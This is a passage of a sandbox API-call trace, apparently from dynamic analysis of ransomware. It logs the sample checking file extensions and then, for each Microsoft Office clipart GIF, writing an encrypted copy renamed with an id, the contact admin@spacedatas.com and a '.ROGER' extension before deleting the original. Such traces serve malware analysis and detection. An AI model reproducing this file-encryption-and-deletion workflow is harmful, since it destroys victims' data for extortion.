Services\\AS OLEDB\\10\\Cartridges\\msjet.xsl") returned 77 [0054.200] lstrlenW (lpString=".doc") returned 4 [0054.200] lstrcmpiW (lpString1=".doc", lpString2=".xsl") returned -1 [0054.200] lstrlenW (lpString=".docx") returned 5 [0054.200] lstrcmpiW (lpString1=".docx", lpString2="t.xsl") returned -1 [0054.200] lstrlenW (lpString=".pdf") returned 4 [0054.200] lstrcmpiW (lpString1=".pdf", lpString2=".xsl") returned -1 [0054.200] lstrlenW (lpString=".xls") returned 4 [0054.200] lstrcmpiW (lpString1=".xls", lpString2=".xsl") returned -1 [0054.200] lstrlenW (lpString=".xlsx") returned 5 [0054.200] lstrcmpiW (lpString1=".xlsx", lpString2="t.xsl") returned -1 [0054.200] lstrlenW (lpString=".ppt") returned 4 [0054.200] lstrcmpiW (lpString1=".ppt", lpString2=".xsl") returned -1 [0054.200] lstrlenW (lpString="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\msjet.xsl") returned 77 [0054.200] lstrlenW (lpString=".zip") returned 4 [0054.200] lstrcmpiW (lpString1=".zip", lpString2=".xsl") returned 1 [0054.200] lstrlenW (lpString=".rar") returned 4 [0054.200] lstrcmpiW (lpString1=".rar", lpString2=".xsl") returned -1 [0054.200] lstrlenW (lpString=".bz2") returned 4 [0054.200] lstrcmpiW (lpString1=".bz2", lpString2=".xsl") returned -1 [0054.200] lstrlenW (lpString=".7z") returned 3 [0054.201] lstrcmpiW (lpString1=".7z", lpString2="xsl") returned -1 [0054.201] lstrlenW (lpString="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\msjet.xsl") returned 77 [0054.201] lstrlenW (lpString=".dbf") returned 4 [0054.201] lstrcmpiW (lpString1=".dbf", lpString2=".xsl") returned -1 [0054.201] lstrlenW (lpString="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\msjet.xsl") returned 77 [0054.201] lstrlenW (lpString=".1cd") returned 4 [0054.201] lstrcmpiW (lpString1=".1cd", lpString2=".xsl") returned -1 [0054.201] lstrlenW (lpString="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\msjet.xsl") returned 77 [0054.201] lstrlenW (lpString=".jpg") returned 4 [0054.201] lstrcmpiW (lpString1=".jpg", lpString2=".xsl") returned -1 [0054.201] lstrlenW (lpString="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\msjet.xsl") returned 77 [0054.201] lstrlenW (lpString="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\msjet.xsl") returned 77 [0054.201] lstrlenW (lpString=".doc") returned 4 [0054.201] lstrcmpiW (lpString1=".doc", lpString2=".xsl") returned -1 [0054.201] lstrlenW (lpString=".docx") returned 5 [0054.201] lstrcmpiW (lpString1=".docx", lpString2="t.xsl") returned -1 [0054.201] lstrlenW (lpString=".pdf") returned 4 [0054.201] lstrcmpiW (lpString1=".pdf", lpString2=".xsl") returned -1 [0054.201] lstrlenW (lpString=".xls") returned 4 [0054.201] lstrcmpiW (lpString1=".xls", lpString2=".xsl") returned -1 [0054.201] lstrlenW (lpString=".xlsx") returned 5 [0054.201] lstrcmpiW (lpString1=".xlsx", lpString2="t.xsl") returned -1 [0054.201] lstrlenW (lpString=".ppt") returned 4 [0054.201] lstrcmpiW (lpString1=".ppt", lpString2=".xsl") returned -1 [0054.201] lstrlenW (lpString="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\msjet.xsl") returned 77 [0054.201] lstrlenW (lpString=".zip") returned 4 [0054.201] lstrcmpiW (lpString1=".zip", lpString2=".xsl") returned 1 [0054.201] lstrlenW (lpString=".rar") returned 4 [0054.201] lstrcmpiW (lpString1=".rar", lpString2=".xsl") returned -1 [0054.201] lstrlenW (lpString=".bz2") returned 4 [0054.201] lstrcmpiW (lpString1=".bz2", lpString2=".xsl") returned -1 [0054.202] lstrlenW (lpString=".7z") returned 3 [0054.202] lstrcmpiW (lpString1=".7z", lpString2="xsl") returned -1 [0054.202] lstrlenW (lpString="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\msjet.xsl") returned 77 [0054.202] lstrlenW (lpString=".dbf") returned 4 [0054.202] lstrcmpiW (lpString1=".dbf", lpString2=".xsl") returned -1 [0054.202] lstrlenW (lpString="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\msjet.xsl") returned 77 [0054.202] lstrlenW (lpString=".1cd") returned 4 [0054.202] lstrcmpiW (lpString1=".1cd", lpString2=".xsl") returned -1 [0054.202] lstrlenW (lpString="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\msjet.xsl") returned 77 [0054.202] lstrlenW (lpString=".jpg") returned 4 [0054.202] lstrcmpiW (lpString1=".jpg", lpString2=".xsl") returned -1 [0054.202] lstrcmpiW (lpString1=".GIF", lpString2=".ROGER") returned -1 [0054.202] lstrlenW (lpString="AG00038_.GIF") returned 12 [0054.202] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00038_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00038_.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x370 [0056.017] GetFileSizeEx (in: hFile=0x370, lpFileSize=0x40fff1c | out: lpFileSize=0x40fff1c*=3251) returned 1 [0056.017] CloseHandle (hObject=0x370) returned 1 [0056.017] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00038_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00038_.gif")) returned 0x20 [0056.017] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00038_.GIF.id-9C354B42.[admin@spacedatas.com].ROGER" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00038_.gif.id-9c354b42.[admin@spacedatas.com].roger")) returned 0xffffffff [0056.017] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00038_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00038_.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x370 [0056.018] SetFilePointerEx (in: hFile=0x370, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x40ffec8 | out: lpNewFilePointer=0x0) returned 1 [0056.018] SetFilePointerEx (in: hFile=0x370, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x40ffec8 | out: lpNewFilePointer=0x0) returned 1 [0056.018] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00038_.GIF.id-9C354B42.[admin@spacedatas.com].ROGER" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00038_.gif.id-9c354b42.[admin@spacedatas.com].roger"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3fc [0056.018] GetLastError () returned 0x0 [0056.018] ReadFile (in: hFile=0x370, lpBuffer=0x4b80020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x40ffed4, lpOverlapped=0x0 | out: lpBuffer=0x4b80020*, lpNumberOfBytesRead=0x40ffed4*=0xcb3, lpOverlapped=0x0) returned 1 [0056.093] WriteFile (in: hFile=0x3fc, lpBuffer=0x4b80020*, nNumberOfBytesToWrite=0xcc0, lpNumberOfBytesWritten=0x40ffc9c, lpOverlapped=0x0 | out: lpBuffer=0x4b80020*, lpNumberOfBytesWritten=0x40ffc9c*=0xcc0, lpOverlapped=0x0) returned 1 [0056.094] ReadFile (in: hFile=0x370, lpBuffer=0x4b80020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x40ffed4, lpOverlapped=0x0 | out: lpBuffer=0x4b80020*, lpNumberOfBytesRead=0x40ffed4*=0x0, lpOverlapped=0x0) returned 1 [0056.094] WriteFile (in: hFile=0x3fc, lpBuffer=0x4b80020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x40ffc9c, lpOverlapped=0x0 | out: lpBuffer=0x4b80020*, lpNumberOfBytesWritten=0x40ffc9c*=0xec, lpOverlapped=0x0) returned 1 [0056.094] SetEndOfFile (hFile=0x3fc) returned 1 [0056.094] CloseHandle (hObject=0x3fc) returned 1 [0056.094] SetFilePointerEx (in: hFile=0x370, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x40ffec8 | out: lpNewFilePointer=0x0) returned 1 [0056.094] SetEndOfFile (hFile=0x370) returned 1 [0056.095] CloseHandle (hObject=0x370) returned 1 [0056.095] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00038_.GIF.id-9C354B42.[admin@spacedatas.com].ROGER", dwFileAttributes=0x20) returned 1 [0056.095] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00038_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00038_.gif")) returned 1 [0056.096] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00038_.GIF") returned 63 [0056.096] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00038_.GIF") returned 63 [0056.096] lstrlenW (lpString=".doc") returned 4 [0056.096] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0056.096] lstrlenW (lpString=".docx") returned 5 [0056.096] lstrcmpiW (lpString1=".docx", lpString2="_.GIF") returned -1 [0056.096] lstrlenW (lpString=".pdf") returned 4 [0056.096] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0056.096] lstrlenW (lpString=".xls") returned 4 [0056.096] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0056.096] lstrlenW (lpString=".xlsx") returned 5 [0056.096] lstrcmpiW (lpString1=".xlsx", lpString2="_.GIF") returned -1 [0056.096] lstrlenW (lpString=".ppt") returned 4 [0056.096] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0056.096] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00038_.GIF") returned 63 [0056.096] lstrlenW (lpString=".zip") returned 4 [0056.096] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0056.096] lstrlenW (lpString=".rar") returned 4 [0056.096] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0056.096] lstrlenW (lpString=".bz2") returned 4 [0056.096] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0056.096] lstrlenW (lpString=".7z") returned 3 [0056.096] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0056.096] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00038_.GIF") returned 63 [0056.096] lstrlenW (lpString=".dbf") returned 4 [0056.096] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0056.096] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00038_.GIF") returned 63 [0056.096] lstrlenW (lpString=".1cd") returned 4 [0056.097] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0056.097] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00038_.GIF") returned 63 [0056.097] lstrlenW (lpString=".jpg") returned 4 [0056.097] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0056.097] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00038_.GIF") returned 63 [0056.097] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00038_.GIF") returned 63 [0056.097] lstrlenW (lpString=".doc") returned 4 [0056.097] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0056.097] lstrlenW (lpString=".docx") returned 5 [0056.097] lstrcmpiW (lpString1=".docx", lpString2="_.GIF") returned -1 [0056.097] lstrlenW (lpString=".pdf") returned 4 [0056.097] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0056.097] lstrlenW (lpString=".xls") returned 4 [0056.097] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0056.097] lstrlenW (lpString=".xlsx") returned 5 [0056.097] lstrcmpiW (lpString1=".xlsx", lpString2="_.GIF") returned -1 [0056.097] lstrlenW (lpString=".ppt") returned 4 [0056.097] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0056.097] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00038_.GIF") returned 63 [0056.097] lstrlenW (lpString=".zip") returned 4 [0056.097] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0056.097] lstrlenW (lpString=".rar") returned 4 [0056.097] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0056.097] lstrlenW (lpString=".bz2") returned 4 [0056.097] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0056.097] lstrlenW (lpString=".7z") returned 3 [0056.097] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0056.097] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00038_.GIF") returned 63 [0056.097] lstrlenW (lpString=".dbf") returned 4 [0056.097] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0056.097] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00038_.GIF") returned 63 [0056.097] lstrlenW (lpString=".1cd") returned 4 [0056.098] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0056.098] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00038_.GIF") returned 63 [0056.098] lstrlenW (lpString=".jpg") returned 4 [0056.098] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0056.098] lstrcmpiW (lpString1=".GIF", lpString2=".ROGER") returned -1 [0056.098] lstrlenW (lpString="AG00090_.GIF") returned 12 [0056.098] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00090_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00090_.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x370 [0056.098] GetFileSizeEx (in: hFile=0x370, lpFileSize=0x40fff1c | out: lpFileSize=0x40fff1c*=517) returned 1 [0056.098] CloseHandle (hObject=0x370) returned 1 [0056.098] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00090_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00090_.gif")) returned 0x20 [0056.098] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00090_.GIF.id-9C354B42.[admin@spacedatas.com].ROGER" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00090_.gif.id-9c354b42.[admin@spacedatas.com].roger")) returned 0xffffffff [0056.098] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00090_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00090_.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x370 [0056.098] SetFilePointerEx (in: hFile=0x370, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x40ffec8 | out: lpNewFilePointer=0x0) returned 1 [0056.098] SetFilePointerEx (in: hFile=0x370, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x40ffec8 | out: lpNewFilePointer=0x0) returned 1 [0056.099] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00090_.GIF.id-9C354B42.[admin@spacedatas.com].ROGER" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00090_.gif.id-9c354b42.[admin@spacedatas.com].roger"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3fc [0056.099] GetLastError () returned 0x0 [0056.099] ReadFile (in: hFile=0x370, lpBuffer=0x4b80020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x40ffed4, lpOverlapped=0x0 | out: lpBuffer=0x4b80020*, lpNumberOfBytesRead=0x40ffed4*=0x205, lpOverlapped=0x0) returned 1 [0056.100] WriteFile (in: hFile=0x3fc, lpBuffer=0x4b80020*, nNumberOfBytesToWrite=0x210, lpNumberOfBytesWritten=0x40ffc9c, lpOverlapped=0x0 | out: lpBuffer=0x4b80020*, lpNumberOfBytesWritten=0x40ffc9c*=0x210, lpOverlapped=0x0) returned 1 [0056.100] ReadFile (in: hFile=0x370, lpBuffer=0x4b80020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x40ffed4, lpOverlapped=0x0 | out: lpBuffer=0x4b80020*, lpNumberOfBytesRead=0x40ffed4*=0x0, lpOverlapped=0x0) returned 1 [0056.100] WriteFile (in: hFile=0x3fc, lpBuffer=0x4b80020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x40ffc9c, lpOverlapped=0x0 | out: lpBuffer=0x4b80020*, lpNumberOfBytesWritten=0x40ffc9c*=0xec, lpOverlapped=0x0) returned 1 [0056.101] SetEndOfFile (hFile=0x3fc) returned 1 [0056.101] CloseHandle (hObject=0x3fc) returned 1 [0056.101] SetFilePointerEx (in: hFile=0x370, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x40ffec8 | out: lpNewFilePointer=0x0) returned 1 [0056.101] SetEndOfFile (hFile=0x370) returned 1 [0056.102] CloseHandle (hObject=0x370) returned 1 [0056.102] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00090_.GIF.id-9C354B42.[admin@spacedatas.com].ROGER", dwFileAttributes=0x20) returned 1 [0056.102] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00090_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00090_.gif")) returned 1 [0056.102] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00090_.GIF") returned 63 [0056.102] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00090_.GIF") returned 63 [0056.102] lstrlenW (lpString=".doc") returned 4 [0056.102] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0056.102] lstrlenW (lpString=".docx") returned 5 [0056.102] lstrcmpiW (lpString1=".docx", lpString2="_.GIF") returned -1 [0056.102] lstrlenW (lpString=".pdf") returned 4 [0056.102] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0056.102] lstrlenW (lpString=".xls") returned 4 [0056.102] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0056.102] lstrlenW (lpString=".xlsx") returned 5 [0056.102] lstrcmpiW (lpString1=".xlsx", lpString2="_.GIF") returned -1 [0056.102] lstrlenW (lpString=".ppt") returned 4 [0056.103] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0056.103] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00090_.GIF") returned 63 [0056.103] lstrlenW (lpString=".zip") returned 4 [0056.103] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0056.103] lstrlenW (lpString=".rar") returned 4 [0056.103] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0056.103] lstrlenW (lpString=".bz2") returned 4 [0056.103] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0056.103] lstrlenW (lpString=".7z") returned 3 [0056.103] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0056.103] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00090_.GIF") returned 63 [0056.103] lstrlenW (lpString=".dbf") returned 4 [0056.103] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0056.103] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00090_.GIF") returned 63 [0056.103] lstrlenW (lpString=".1cd") returned 4 [0056.103] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0056.103] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00090_.GIF") returned 63 [0056.103] lstrlenW (lpString=".jpg") returned 4 [0056.103] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0056.103] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00090_.GIF") returned 63 [0056.103] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00090_.GIF") returned 63 [0056.103] lstrlenW (lpString=".doc") returned 4 [0056.103] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0056.103] lstrlenW (lpString=".docx") returned 5 [0056.103] lstrcmpiW (lpString1=".docx", lpString2="_.GIF") returned -1 [0056.103] lstrlenW (lpString=".pdf") returned 4 [0056.103] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0056.103] lstrlenW (lpString=".xls") returned 4 [0056.103] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0056.103] lstrlenW (lpString=".xlsx") returned 5 [0056.103] lstrcmpiW (lpString1=".xlsx", lpString2="_.GIF") returned -1 [0056.103] lstrlenW (lpString=".ppt") returned 4 [0056.103] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0056.104] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00090_.GIF") returned 63 [0056.104] lstrlenW (lpString=".zip") returned 4 [0056.104] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0056.104] lstrlenW (lpString=".rar") returned 4 [0056.104] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0056.104] lstrlenW (lpString=".bz2") returned 4 [0056.104] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0056.104] lstrlenW (lpString=".7z") returned 3 [0056.104] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0056.104] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00090_.GIF") returned 63 [0056.104] lstrlenW (lpString=".dbf") returned 4 [0056.104] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0056.104] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00090_.GIF") returned 63 [0056.104] lstrlenW (lpString=".1cd") returned 4 [0056.104] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0056.104] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00090_.GIF") returned 63 [0056.104] lstrlenW (lpString=".jpg") returned 4 [0056.104] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0056.104] lstrcmpiW (lpString1=".GIF", lpString2=".ROGER") returned -1 [0056.104] lstrlenW (lpString="AG00092_.GIF") returned 12 [0056.104] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00092_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00092_.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x370 [0056.104] GetFileSizeEx (in: hFile=0x370, lpFileSize=0x40fff1c | out: lpFileSize=0x40fff1c*=502) returned 1 [0056.105] CloseHandle (hObject=0x370) returned 1 [0056.105] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00092_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00092_.gif")) returned 0x20 [0056.105] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00092_.GIF.id-9C354B42.[admin@spacedatas.com].ROGER" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00092_.gif.id-9c354b42.[admin@spacedatas.com].roger")) returned 0xffffffff [0056.105] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00092_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00092_.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x370 [0056.105] SetFilePointerEx (in: hFile=0x370, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x40ffec8 | out: lpNewFilePointer=0x0) returned 1 [0056.105] SetFilePointerEx (in: hFile=0x370, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x40ffec8 | out: lpNewFilePointer=0x0) returned 1 [0056.105] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00092_.GIF.id-9C354B42.[admin@spacedatas.com].ROGER" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00092_.gif.id-9c354b42.[admin@spacedatas.com].roger"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3fc [0056.105] GetLastError () returned 0x0 [0056.105] ReadFile (in: hFile=0x370, lpBuffer=0x4b80020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x40ffed4, lpOverlapped=0x0 | out: lpBuffer=0x4b80020*, lpNumberOfBytesRead=0x40ffed4*=0x1f6, lpOverlapped=0x0) returned 1 [0056.106] WriteFile (in: hFile=0x3fc, lpBuffer=0x4b80020*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x40ffc9c, lpOverlapped=0x0 | out: lpBuffer=0x4b80020*, lpNumberOfBytesWritten=0x40ffc9c*=0x200, lpOverlapped=0x0) returned 1 [0056.107] ReadFile (in: hFile=0x370, lpBuffer=0x4b80020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x40ffed4, lpOverlapped=0x0 | out: lpBuffer=0x4b80020*, lpNumberOfBytesRead=0x40ffed4*=0x0, lpOverlapped=0x0) returned 1 [0056.107] WriteFile (in: hFile=0x3fc, lpBuffer=0x4b80020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x40ffc9c, lpOverlapped=0x0 | out: lpBuffer=0x4b80020*, lpNumberOfBytesWritten=0x40ffc9c*=0xec, lpOverlapped=0x0) returned 1 [0056.107] SetEndOfFile (hFile=0x3fc) returned 1 [0056.107] CloseHandle (hObject=0x3fc) returned 1 [0056.107] SetFilePointerEx (in: hFile=0x370, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x40ffec8 | out: lpNewFilePointer=0x0) returned 1 [0056.107] SetEndOfFile (hFile=0x370) returned 1 [0056.108] CloseHandle (hObject=0x370) returned 1 [0056.108] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00092_.GIF.id-9C354B42.[admin@spacedatas.com].ROGER", dwFileAttributes=0x20) returned 1 [0056.108] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00092_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00092_.gif")) returned 1 [0056.109] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00092_.GIF") returned 63 [0056.109] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00092_.GIF") returned 63 [0056.109] lstrlenW (lpString=".doc") returned 4 [0056.109] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0056.109] lstrlenW (lpString=".docx") returned 5 [0056.109] lstrcmpiW (lpString1=".docx", lpString2="_.GIF") returned -1 [0056.109] lstrlenW (lpString=".pdf") returned 4 [0056.109] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0056.109] lstrlenW (lpString=".xls") returned 4 [0056.109] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0056.109] lstrlenW (lpString=".xlsx") returned 5 [0056.109] lstrcmpiW (lpString1=".xlsx", lpString2="_.GIF") returned -1 [0056.109] lstrlenW (lpString=".ppt") returned 4 